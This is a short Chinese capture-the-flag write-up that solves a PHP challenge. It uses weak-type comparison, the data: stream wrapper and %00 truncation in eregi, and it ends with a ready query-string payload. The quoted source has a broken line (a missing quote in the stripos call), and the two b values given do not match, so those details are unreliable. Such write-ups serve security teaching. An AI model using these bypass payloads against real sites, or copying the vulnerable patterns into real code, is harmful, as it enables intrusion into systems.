源码如下

```php
<?php
 error_reporting(0);
 show_source("27.php");
   echo '<br>';
if(!$_GET['id']) {
    echo "What are you thinking?";
    exit();
}
$id=$_GET['id'];
 $a=$_GET['a'];
 $b=$_GET['b'];
 if(stripos($a,.')) {
    echo 'Hahahahahaha';
    return ;
 }
 $data = @file_get_contents($a,'r');
 if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) {
    require("flag.txt");
 } else {
    print "work harder!harder!harder!";
 }
 ?>
```

根据分析，

我们知道id需要等于0，但是不可为非，所以可用php弱类型 id = 0a

a需要传入包含文件，但是又不能有. 所以可以使用data协议传入数据。a=data:,1112 is a nice lab!

b则是利用%00截断，b=%001111

所以整合起来payload

```
?id=0a&a=data:,1112 is a nice lab!&b=%0011111
```